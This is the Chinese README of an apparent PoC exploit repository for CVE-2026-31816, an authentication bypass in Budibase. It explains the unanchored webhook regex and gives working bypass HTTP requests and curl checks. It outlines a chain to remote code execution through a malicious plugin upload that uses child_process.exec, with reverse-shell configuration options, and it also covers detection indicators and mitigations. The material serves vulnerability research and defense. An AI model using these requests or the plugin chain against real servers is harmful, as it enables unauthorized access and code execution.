
针对 Budibase 严重认证绕过漏洞的 PoC 漏洞利用:未锚定的 webhook 正则允许攻击者追加 ?/webhooks/trigger,访问受保护的 API,并串联插件上传实现 RCE。
CVE-2026-31816 是一个影响 Budibase 的严重认证与授权绕过漏洞。
该漏洞存在于负责保护 API 端点的服务端授权中间件中。Budibase 尝试使用一个未锚定的正则表达式来识别合法的 Webhook 端点,并将该表达式作用于 Koa 的 ctx.request.url。
由于 ctx.request.url 包含查询字符串,攻击者可以将一个看起来像 Webhook 的路径注入到原本无关的 API 请求的查询组件中。
例如:
/api/integrations?/webhooks/trigger
该请求实际上并未指向 Webhook 端点。然而,存在缺陷的检查逻辑可能会将 /webhooks/trigger 解释为该请求是合法 Webhook 请求的证据,并允许其在未执行正常认证和授权检查的情况下继续执行。
NVD 将该问题描述为:完全未经认证的远程攻击者可以通过在 URL 中附加 Webhook 路径模式来访问服务端 API 端点。
NVD 记录 Budibase 至 3.31.4 的版本均受影响,并分配 CVSS 3.1 评分为 9.1。
存在缺陷的逻辑集中在正常授权之前执行的 Webhook 检测上。
安全公告中记录的代码在概念上等价于:
const WEBHOOK_ENDPOINTS = new RegExp(
[
"webhooks/trigger",
"webhooks/schema",
"webhooks/discord",
"webhooks/ms-teams"
].join("|")
)
export function isWebhookEndpoint(ctx) {
return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}
问题在于以下两种行为的组合:
ctx.request.url 包含查询字符串。这意味着该表达式无需匹配实际的请求路径。
例如,一个如下请求:
/api/some/protected/endpoint?/webhooks/trigger
在被测试的 URL 中仍然包含字符串:
/webhooks/trigger
授权中间件随后将该请求视为 Webhook 请求,并在未执行正常授权流程的情况下到达端点。
Budibase 安全公告明确将此识别为潜在缺陷,并指出该绕过跳过了认证、授权、角色检查以及 CSRF 防护。
对受保护 API 端点的正常请求理应先通过认证层。
例如:
GET /api/integrations HTTP/1.1
Host: target.example
Connection: close
而存在漏洞的实例可以通过 Webhook 查询字符串模式被访问:
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close
关键部分在于:
?/webhooks/trigger
端点本身并未改变:
/api/integrations
只有查询字符串被修改了。
公开的 Budibase 公告在 /api/integrations 及其他多个服务端端点上演示了这种精确的技术。
在受控实验室中验证认证绕过的安全方式是:将普通请求与 Webhook 查询变体请求进行比较。
GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
存在漏洞的服务器能够在不执行正常情况下保护该端点的认证检查的情况下处理第二个请求。
已公开的 PoC 同样使用:
/api/integrations?/webhooks/trigger
作为简单的漏洞检查。
以下演示了如何通过添加 Webhook 模式,将经过认证的 API 请求转变为未经认证的请求。
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12
{"query":{}}
官方 Budibase 公告将该端点记录为受影响的 API 面之一。
通过同一缺陷可访问的其他服务端端点包括:
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins
关键的观察点是:该漏洞并不局限于某一个特定的应用资源。受影响的授权中间件位于一大组服务端 API 之前。
当认证绕过与能够接收攻击者控制功能的敏感 API 相结合时,其严重性会显著提高。
本仓库中的 PoC 按以下方式链接该漏洞:
┌─────────────────────────┐
│ 远程攻击者 │
└────────────┬────────────┘
│
│ ?/webhooks/trigger
▼
┌─────────────────────────┐
│ Budibase 授权中间件 │
└────────────┬────────────┘
│
│ 认证绕过
▼
┌─────────────────────────┐
│ 受保护的服务端 │
│ API 端点 │
└────────────┬────────────┘
│
│ 插件上传
▼
┌─────────────────────────┐
│ /api/plugin/upload │
└────────────┬────────────┘
│
│ 构造的插件
▼
┌─────────────────────────┐
│ 插件 JavaScript 代码 │
│ 执行 │
└────────────┬────────────┘
│
▼
代码执行
/api/integrations 验证绕过是否成功,然后构建一个 Budibase 插件归档文件,并通过 /api/plugin/upload 提交。一旦授权被绕过,插件上传请求遵循正常的 multipart 上传格式,并在 URL 中附加存在漏洞的 Webhook 查询。
一个经过脱敏处理的表示如下:
POST /api/plugin/upload?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=------------------------boundary
Connection: close
--------------------------boundary
Content-Disposition: form-data; name="file"; filename="datasource-helper.tar.gz"
Content-Type: application/gzip
<PLUGIN_ARCHIVE_BYTES>
--------------------------boundary--
本仓库的 PoC 使用 .tar.gz 插件归档文件创建此 multipart 请求,并将其发送至 /api/plugin/upload?/webhooks/trigger。
出于安全考虑,上述请求有意将可执行的归档文件留作占位符,而不是直接在文档中嵌入反弹 Shell 载荷。
PoC 生成的插件归档文件包含:
package.json
schema.json
datasource-helper.js
归档文件以 gzip 压缩的 tarball 形式创建。
JavaScript 组件的构造方式使得 Node.js 加载 child_process 并执行所提供的命令:
var cp = require("child_process");
var cmd = "<COMMAND>";
cp.exec(cmd);
本仓库的实现支持多种载荷类型,并动态生成相应的命令。
这是利用链的第二阶段:
认证绕过
↓
未认证的 API 访问
↓
插件上传
↓
攻击者控制的 JavaScript
↓
Node.js 命令执行
该漏洞从根本上讲是一个 URL 解析和信任边界错误。
应用程序需要某些 Webhook 路由可被公开访问。存在缺陷的实现并未判断实际请求路径是否属于允许的 Webhook 路由,而是在整个 URL 中搜索匹配的子字符串。
概念上:
预期行为:
request.path
│
└── 必须实际等于某个 Webhook 端点
实际存在漏洞的行为:
request.url
│
├── path
└── 查询字符串
│
└── 攻击者控制的文本
│
└── /webhooks/trigger
由于查询字符串由攻击者控制,攻击者可以将 Webhook 检测器所预期的字符串放置在 URL 中的任意位置。
这会导致一个安全敏感的布尔检查返回错误的结果:
isWebhookEndpoint(ctx)
│
├── false → 正常授权
│
└── true → return next()
│
├── 跳过认证
├── 跳过授权
├── 跳过角色检查
└── 跳过 CSRF 检查
Budibase 公告明确描述了早期的 return next() 行为以及由此导致的安全检查绕过。
该漏洞的影响范围远比简单的登录绕过广泛得多。
根据厂商公告,利用该漏洞可以未认证地访问影响以下内容的服务端 API:
公告还确认,该绕过消除了 CSRF 防护,且既不需要用户交互,也不需要已存在的凭据。
当能够处理攻击者控制功能的易受攻击 API 可通过该绕过被访问时,该漏洞可被链接为任意代码执行。
本仓库中包含的 PoC 通过构建插件归档文件、上传并等待执行来演示该攻击路径。
一种基本的检测策略是:比较普通请求与带 Webhook 式查询后缀的同一请求的认证行为。
示例:
curl -i http://127.0.0.1:10000/api/integrations
对比:
curl -i 'http://127.0.0.1:10000/api/integrations?/webhooks/trigger'
存在漏洞的安装实例可能会通过第二个请求暴露受保护的端点。
该技术也用于 CVE-2026-31816 的公开检测资料中。
NVD 条目将以下版本标识为受影响:
Budibase <= 3.31.4
有一个值得注意的重要文档差异:GitHub 上当前活跃的安全公告显示 "Patched versions: None"(已修复版本:无),而独立的漏洞参考资料则将 3.31.5 及之后版本 标识为修复边界。
因此,除非相应的 Budibase 发布/变更被独立验证,否则本仓库不应将 3.31.5 作为不容置疑的厂商确认修复版本。
主要的修复措施是将 Budibase 升级到包含上游修复的版本。
在无法立即修补的情况下,防御性控制可以包括:
1. 限制对 Budibase 服务器的网络访问。
2. 将管理界面置于受信任网络控制之后。
3. 监控 API 查询参数中出现的 Webhook 式字符串。
4. 审查包含以下内容的请求日志:
/webhooks/trigger
/webhooks/schema
/webhooks/discord
/webhooks/ms-teams
5. 限制不必要的插件管理功能。
该漏洞对于暴露在互联网上的自托管部署尤其令人担忧,因为攻击不需要任何已认证的会话。
一个有用的日志级指标是查询字符串中包含 Webhook 路由模式的 API 请求:
/api/*?/webhooks/trigger
/api/*?/webhooks/schema
/api/*?/webhooks/discord
/api/*?/webhooks/ms-teams
例如:
GET /api/integrations?/webhooks/trigger
POST /api/plugin/upload?/webhooks/trigger
POST /api/ta_users/search?/webhooks/trigger
这些模式应被调查,而不是自动视为已被利用的证据,因为还必须考虑合法流量和特定应用的行为。
本仓库中的漏洞利用实现分为几个逻辑组件:
ExploitConfig
│
├── target
├── LHOST
├── LPORT
└── 载荷类型
│
▼
BudibaseClient
│
├── 漏洞检查
└── 插件上传
│
▼
PluginBuilder
│
└── .tar.gz
│
▼
PayloadBuilder
│
└── JavaScript
│
▼
命令执行
该实现还包含一个可选的监听器,用于在成功利用后接收 Shell 连接。
针对受控实验室:
1. 部署一个存在漏洞的 Budibase 版本。
2. 向受保护端点发送基线请求。
3. 使用 ?/webhooks/trigger 重复发送该请求。
4. 比较认证行为。
5. 确认受保护的 API 变为可访问状态。
6. 在隔离环境中测试插件上传阶段。
7. 使用无害的证明(例如创建临时标记文件)验证命令执行。
该漏洞很好地说明了为什么安全敏感的 URL 匹配应针对经过正确解析和规范化的请求路径执行,而不是针对攻击者可控的完整 URL 字符串。
该 Bug 很隐蔽,因为 Webhook 功能本身是合法的。问题在于中间件所做的信任决策:
"该请求是否指向 Webhook?"
实际上却被回答为:
"整个 URL 是否包含一个看起来像 Webhook 的子字符串?"
这两者并不是等价的安全属性。
因此,攻击者无需让请求真正成为 Webhook 请求,只需让授权中间件相信它是一个 Webhook 请求即可。
本仓库仅供安全研究、漏洞验证和授权测试使用。 请勿对您不拥有或未获明确许可的系统使用该漏洞利用程序。
| 字段 | 值 |
|---|
| CVE | CVE-2026-31816 |
| 厂商 | Budibase |
| 产品 | Budibase |
| 受影响版本 | <= 3.31.4 |
| 严重程度 | 严重(Critical) |
| CVSS v3.1 | 9.1 |
| CVSS 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-74 |
| 攻击向量 | 网络(Network) |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 是否需要认证 | 否 |